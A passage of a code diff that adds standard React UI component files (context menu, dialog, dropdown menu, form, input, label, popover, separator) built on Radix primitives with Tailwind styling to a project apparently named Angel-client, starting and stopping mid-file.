"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ContextMenuSubContent.displayName = ContextMenuPrimitive.SubContent.displayName
|
||||
|
||||
const ContextMenuContent = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Content>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.Portal>
|
||||
<ContextMenuPrimitive.Content
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</ContextMenuPrimitive.Portal>
|
||||
))
|
||||
ContextMenuContent.displayName = ContextMenuPrimitive.Content.displayName
|
||||
|
||||
const ContextMenuItem = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.Item>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Item> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.Item
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ContextMenuItem.displayName = ContextMenuPrimitive.Item.displayName
|
||||
|
||||
const ContextMenuCheckboxItem = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.CheckboxItem>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.CheckboxItem>
|
||||
>(({ className, children, checked, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.CheckboxItem
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
||||
className
|
||||
)}
|
||||
checked={checked}
|
||||
{...props}
|
||||
>
|
||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
||||
<ContextMenuPrimitive.ItemIndicator>
|
||||
<CheckIcon className="h-4 w-4" />
|
||||
</ContextMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</ContextMenuPrimitive.CheckboxItem>
|
||||
))
|
||||
ContextMenuCheckboxItem.displayName =
|
||||
ContextMenuPrimitive.CheckboxItem.displayName
|
||||
|
||||
const ContextMenuRadioItem = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.RadioItem>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.RadioItem>
|
||||
>(({ className, children, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.RadioItem
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
||||
<ContextMenuPrimitive.ItemIndicator>
|
||||
<DotFilledIcon className="h-4 w-4 fill-current" />
|
||||
</ContextMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</ContextMenuPrimitive.RadioItem>
|
||||
))
|
||||
ContextMenuRadioItem.displayName = ContextMenuPrimitive.RadioItem.displayName
|
||||
|
||||
const ContextMenuLabel = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.Label>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Label> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.Label
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"px-2 py-1.5 text-sm font-semibold text-foreground",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ContextMenuLabel.displayName = ContextMenuPrimitive.Label.displayName
|
||||
|
||||
const ContextMenuSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.Separator>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Separator>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.Separator
|
||||
ref={ref}
|
||||
className={cn("-mx-1 my-1 h-px bg-border", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ContextMenuSeparator.displayName = ContextMenuPrimitive.Separator.displayName
|
||||
|
||||
const ContextMenuShortcut = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLSpanElement>) => {
|
||||
return (
|
||||
<span
|
||||
className={cn(
|
||||
"ml-auto text-xs tracking-widest text-muted-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
ContextMenuShortcut.displayName = "ContextMenuShortcut"
|
||||
|
||||
export {
|
||||
ContextMenu,
|
||||
ContextMenuTrigger,
|
||||
ContextMenuContent,
|
||||
ContextMenuItem,
|
||||
ContextMenuCheckboxItem,
|
||||
ContextMenuRadioItem,
|
||||
ContextMenuLabel,
|
||||
ContextMenuSeparator,
|
||||
ContextMenuShortcut,
|
||||
ContextMenuGroup,
|
||||
ContextMenuPortal,
|
||||
ContextMenuSub,
|
||||
ContextMenuSubContent,
|
||||
ContextMenuSubTrigger,
|
||||
ContextMenuRadioGroup,
|
||||
}
|
||||
120
full/Angel-client/src/components/ui/dialog.tsx
Normal file
@@ -0,0 +1,120 @@
|
||||
import * as React from "react"
|
||||
import * as DialogPrimitive from "@radix-ui/react-dialog"
|
||||
import { Cross2Icon } from "@radix-ui/react-icons"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Dialog = DialogPrimitive.Root
|
||||
|
||||
const DialogTrigger = DialogPrimitive.Trigger
|
||||
|
||||
const DialogPortal = DialogPrimitive.Portal
|
||||
|
||||
const DialogClose = DialogPrimitive.Close
|
||||
|
||||
const DialogOverlay = React.forwardRef<
|
||||
React.ElementRef<typeof DialogPrimitive.Overlay>,
|
||||
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DialogPrimitive.Overlay
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DialogOverlay.displayName = DialogPrimitive.Overlay.displayName
|
||||
|
||||
const DialogContent = React.forwardRef<
|
||||
React.ElementRef<typeof DialogPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>
|
||||
>(({ className, children, ...props }, ref) => (
|
||||
<DialogPortal>
|
||||
<DialogOverlay />
|
||||
<DialogPrimitive.Content
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
<DialogPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground">
|
||||
<Cross2Icon className="h-4 w-4" />
|
||||
<span className="sr-only">Close</span>
|
||||
</DialogPrimitive.Close>
|
||||
</DialogPrimitive.Content>
|
||||
</DialogPortal>
|
||||
))
|
||||
DialogContent.displayName = DialogPrimitive.Content.displayName
|
||||
|
||||
const DialogHeader = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLDivElement>) => (
|
||||
<div
|
||||
className={cn(
|
||||
"flex flex-col space-y-1.5 text-center sm:text-left",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
DialogHeader.displayName = "DialogHeader"
|
||||
|
||||
const DialogFooter = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLDivElement>) => (
|
||||
<div
|
||||
className={cn(
|
||||
"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
DialogFooter.displayName = "DialogFooter"
|
||||
|
||||
const DialogTitle = React.forwardRef<
|
||||
React.ElementRef<typeof DialogPrimitive.Title>,
|
||||
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DialogPrimitive.Title
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"text-lg font-semibold leading-none tracking-tight",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DialogTitle.displayName = DialogPrimitive.Title.displayName
|
||||
|
||||
const DialogDescription = React.forwardRef<
|
||||
React.ElementRef<typeof DialogPrimitive.Description>,
|
||||
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DialogPrimitive.Description
|
||||
ref={ref}
|
||||
className={cn("text-sm text-muted-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DialogDescription.displayName = DialogPrimitive.Description.displayName
|
||||
|
||||
export {
|
||||
Dialog,
|
||||
DialogPortal,
|
||||
DialogOverlay,
|
||||
DialogTrigger,
|
||||
DialogClose,
|
||||
DialogContent,
|
||||
DialogHeader,
|
||||
DialogFooter,
|
||||
DialogTitle,
|
||||
DialogDescription,
|
||||
}
|
||||
203
full/Angel-client/src/components/ui/dropdown-menu.tsx
Normal file
@@ -0,0 +1,203 @@
|
||||
import * as React from "react"
|
||||
import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"
|
||||
import {
|
||||
CheckIcon,
|
||||
ChevronRightIcon,
|
||||
DotFilledIcon,
|
||||
} from "@radix-ui/react-icons"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const DropdownMenu = DropdownMenuPrimitive.Root
|
||||
|
||||
const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger
|
||||
|
||||
const DropdownMenuGroup = DropdownMenuPrimitive.Group
|
||||
|
||||
const DropdownMenuPortal = DropdownMenuPrimitive.Portal
|
||||
|
||||
const DropdownMenuSub = DropdownMenuPrimitive.Sub
|
||||
|
||||
const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup
|
||||
|
||||
const DropdownMenuSubTrigger = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, children, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.SubTrigger
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
<ChevronRightIcon className="ml-auto h-4 w-4" />
|
||||
</DropdownMenuPrimitive.SubTrigger>
|
||||
))
|
||||
DropdownMenuSubTrigger.displayName =
|
||||
DropdownMenuPrimitive.SubTrigger.displayName
|
||||
|
||||
const DropdownMenuSubContent = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.SubContent
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DropdownMenuSubContent.displayName =
|
||||
DropdownMenuPrimitive.SubContent.displayName
|
||||
|
||||
const DropdownMenuContent = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>
|
||||
>(({ className, sideOffset = 4, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.Portal>
|
||||
<DropdownMenuPrimitive.Content
|
||||
ref={ref}
|
||||
sideOffset={sideOffset}
|
||||
className={cn(
|
||||
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md",
|
||||
"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</DropdownMenuPrimitive.Portal>
|
||||
))
|
||||
DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName
|
||||
|
||||
const DropdownMenuItem = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.Item>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.Item
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&>svg]:size-4 [&>svg]:shrink-0",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName
|
||||
|
||||
const DropdownMenuCheckboxItem = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>
|
||||
>(({ className, children, checked, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.CheckboxItem
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
||||
className
|
||||
)}
|
||||
checked={checked}
|
||||
{...props}
|
||||
>
|
||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
||||
<DropdownMenuPrimitive.ItemIndicator>
|
||||
<CheckIcon className="h-4 w-4" />
|
||||
</DropdownMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</DropdownMenuPrimitive.CheckboxItem>
|
||||
))
|
||||
DropdownMenuCheckboxItem.displayName =
|
||||
DropdownMenuPrimitive.CheckboxItem.displayName
|
||||
|
||||
const DropdownMenuRadioItem = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>
|
||||
>(({ className, children, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.RadioItem
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
|
||||
<DropdownMenuPrimitive.ItemIndicator>
|
||||
<DotFilledIcon className="h-4 w-4 fill-current" />
|
||||
</DropdownMenuPrimitive.ItemIndicator>
|
||||
</span>
|
||||
{children}
|
||||
</DropdownMenuPrimitive.RadioItem>
|
||||
))
|
||||
DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName
|
||||
|
||||
const DropdownMenuLabel = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.Label>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.Label
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"px-2 py-1.5 text-sm font-semibold",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName
|
||||
|
||||
const DropdownMenuSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
|
||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<DropdownMenuPrimitive.Separator
|
||||
ref={ref}
|
||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName
|
||||
|
||||
const DropdownMenuShortcut = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLSpanElement>) => {
|
||||
return (
|
||||
<span
|
||||
className={cn("ml-auto text-xs tracking-widest opacity-60", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
DropdownMenuShortcut.displayName = "DropdownMenuShortcut"
|
||||
|
||||
export {
|
||||
DropdownMenu,
|
||||
DropdownMenuTrigger,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuCheckboxItem,
|
||||
DropdownMenuRadioItem,
|
||||
DropdownMenuLabel,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuShortcut,
|
||||
DropdownMenuGroup,
|
||||
DropdownMenuPortal,
|
||||
DropdownMenuSub,
|
||||
DropdownMenuSubContent,
|
||||
DropdownMenuSubTrigger,
|
||||
DropdownMenuRadioGroup,
|
||||
}
|
||||
176
full/Angel-client/src/components/ui/form.tsx
Normal file
@@ -0,0 +1,176 @@
|
||||
import * as React from "react"
|
||||
import * as LabelPrimitive from "@radix-ui/react-label"
|
||||
import { Slot } from "@radix-ui/react-slot"
|
||||
import {
|
||||
Controller,
|
||||
ControllerProps,
|
||||
FieldPath,
|
||||
FieldValues,
|
||||
FormProvider,
|
||||
useFormContext,
|
||||
} from "react-hook-form"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
import { Label } from "@/components/ui/label"
|
||||
|
||||
const Form = FormProvider
|
||||
|
||||
type FormFieldContextValue<
|
||||
TFieldValues extends FieldValues = FieldValues,
|
||||
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>
|
||||
> = {
|
||||
name: TName
|
||||
}
|
||||
|
||||
const FormFieldContext = React.createContext<FormFieldContextValue>(
|
||||
{} as FormFieldContextValue
|
||||
)
|
||||
|
||||
const FormField = <
|
||||
TFieldValues extends FieldValues = FieldValues,
|
||||
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>
|
||||
>({
|
||||
...props
|
||||
}: ControllerProps<TFieldValues, TName>) => {
|
||||
return (
|
||||
<FormFieldContext.Provider value={{ name: props.name }}>
|
||||
<Controller {...props} />
|
||||
</FormFieldContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
const useFormField = () => {
|
||||
const fieldContext = React.useContext(FormFieldContext)
|
||||
const itemContext = React.useContext(FormItemContext)
|
||||
const { getFieldState, formState } = useFormContext()
|
||||
|
||||
const fieldState = getFieldState(fieldContext.name, formState)
|
||||
|
||||
if (!fieldContext) {
|
||||
throw new Error("useFormField should be used within <FormField>")
|
||||
}
|
||||
|
||||
const { id } = itemContext
|
||||
|
||||
return {
|
||||
id,
|
||||
name: fieldContext.name,
|
||||
formItemId: `${id}-form-item`,
|
||||
formDescriptionId: `${id}-form-item-description`,
|
||||
formMessageId: `${id}-form-item-message`,
|
||||
...fieldState,
|
||||
}
|
||||
}
|
||||
|
||||
type FormItemContextValue = {
|
||||
id: string
|
||||
}
|
||||
|
||||
const FormItemContext = React.createContext<FormItemContextValue>(
|
||||
{} as FormItemContextValue
|
||||
)
|
||||
|
||||
const FormItem = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement>
|
||||
>(({ className, ...props }, ref) => {
|
||||
const id = React.useId()
|
||||
|
||||
return (
|
||||
<FormItemContext.Provider value={{ id }}>
|
||||
<div ref={ref} className={cn("space-y-2", className)} {...props} />
|
||||
</FormItemContext.Provider>
|
||||
)
|
||||
})
|
||||
FormItem.displayName = "FormItem"
|
||||
|
||||
const FormLabel = React.forwardRef<
|
||||
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root>
|
||||
>(({ className, ...props }, ref) => {
|
||||
const { error, formItemId } = useFormField()
|
||||
|
||||
return (
|
||||
<Label
|
||||
ref={ref}
|
||||
className={cn(error && "text-destructive", className)}
|
||||
htmlFor={formItemId}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
FormLabel.displayName = "FormLabel"
|
||||
|
||||
const FormControl = React.forwardRef<
|
||||
React.ElementRef<typeof Slot>,
|
||||
React.ComponentPropsWithoutRef<typeof Slot>
|
||||
>(({ ...props }, ref) => {
|
||||
const { error, formItemId, formDescriptionId, formMessageId } = useFormField()
|
||||
|
||||
return (
|
||||
<Slot
|
||||
ref={ref}
|
||||
id={formItemId}
|
||||
aria-describedby={
|
||||
!error
|
||||
? `${formDescriptionId}`
|
||||
: `${formDescriptionId} ${formMessageId}`
|
||||
}
|
||||
aria-invalid={!!error}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
FormControl.displayName = "FormControl"
|
||||
|
||||
const FormDescription = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, ...props }, ref) => {
|
||||
const { formDescriptionId } = useFormField()
|
||||
|
||||
return (
|
||||
<p
|
||||
ref={ref}
|
||||
id={formDescriptionId}
|
||||
className={cn("text-[0.8rem] text-muted-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
FormDescription.displayName = "FormDescription"
|
||||
|
||||
const FormMessage = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, children, ...props }, ref) => {
|
||||
const { error, formMessageId } = useFormField()
|
||||
const body = error ? String(error?.message) : children
|
||||
|
||||
if (!body) {
|
||||
return null
|
||||
}
|
||||
|
||||
return (
|
||||
<p
|
||||
ref={ref}
|
||||
id={formMessageId}
|
||||
className={cn("text-[0.8rem] font-medium text-destructive", className)}
|
||||
{...props}
|
||||
>
|
||||
{body}
|
||||
</p>
|
||||
)
|
||||
})
|
||||
FormMessage.displayName = "FormMessage"
|
||||
|
||||
export {
|
||||
useFormField,
|
||||
Form,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormMessage,
|
||||
FormField,
|
||||
}
|
||||
25
full/Angel-client/src/components/ui/input.tsx
Normal file
@@ -0,0 +1,25 @@
|
||||
import * as React from "react"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
export interface InputProps
|
||||
extends React.InputHTMLAttributes<HTMLInputElement> {}
|
||||
|
||||
const Input = React.forwardRef<HTMLInputElement, InputProps>(
|
||||
({ className, type, ...props }, ref) => {
|
||||
return (
|
||||
<input
|
||||
type={type}
|
||||
className={cn(
|
||||
"flex h-9 w-full rounded-md border border-input bg-transparent px-3 py-1 text-sm shadow-sm transition-colors file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50",
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
)
|
||||
Input.displayName = "Input"
|
||||
|
||||
export { Input }
|
||||
24
full/Angel-client/src/components/ui/label.tsx
Normal file
@@ -0,0 +1,24 @@
|
||||
import * as React from "react"
|
||||
import * as LabelPrimitive from "@radix-ui/react-label"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const labelVariants = cva(
|
||||
"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
|
||||
)
|
||||
|
||||
const Label = React.forwardRef<
|
||||
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &
|
||||
VariantProps<typeof labelVariants>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<LabelPrimitive.Root
|
||||
ref={ref}
|
||||
className={cn(labelVariants(), className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Label.displayName = LabelPrimitive.Root.displayName
|
||||
|
||||
export { Label }
|
||||
31
full/Angel-client/src/components/ui/popover.tsx
Normal file
@@ -0,0 +1,31 @@
|
||||
import * as React from "react"
|
||||
import * as PopoverPrimitive from "@radix-ui/react-popover"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Popover = PopoverPrimitive.Root
|
||||
|
||||
const PopoverTrigger = PopoverPrimitive.Trigger
|
||||
|
||||
const PopoverAnchor = PopoverPrimitive.Anchor
|
||||
|
||||
const PopoverContent = React.forwardRef<
|
||||
React.ElementRef<typeof PopoverPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>
|
||||
>(({ className, align = "center", sideOffset = 4, ...props }, ref) => (
|
||||
<PopoverPrimitive.Portal>
|
||||
<PopoverPrimitive.Content
|
||||
ref={ref}
|
||||
align={align}
|
||||
sideOffset={sideOffset}
|
||||
className={cn(
|
||||
"z-50 w-72 rounded-md border bg-popover p-4 text-popover-foreground shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</PopoverPrimitive.Portal>
|
||||
))
|
||||
PopoverContent.displayName = PopoverPrimitive.Content.displayName
|
||||
|
||||
export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor }
|
||||
29
full/Angel-client/src/components/ui/separator.tsx
Normal file
@@ -0,0 +1,29 @@
|
||||
import * as React from "react"
|
||||
import * as SeparatorPrimitive from "@radix-ui/react-separator"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Separator = React.forwardRef<
|
||||
React.ElementRef<typeof SeparatorPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
|
||||
>(
|
||||
(
|
||||
{ className, orientation = "horizontal", decorative = true, ...props },
|
||||
ref
|
||||
) => (
|
||||
<SeparatorPrimitive.Root
|
||||
ref={ref}
|
||||
decorative={decorative}
|
||||
orientation={orientation}
|
||||
className={cn(
|
||||
"shrink-0 bg-border",
|
||||
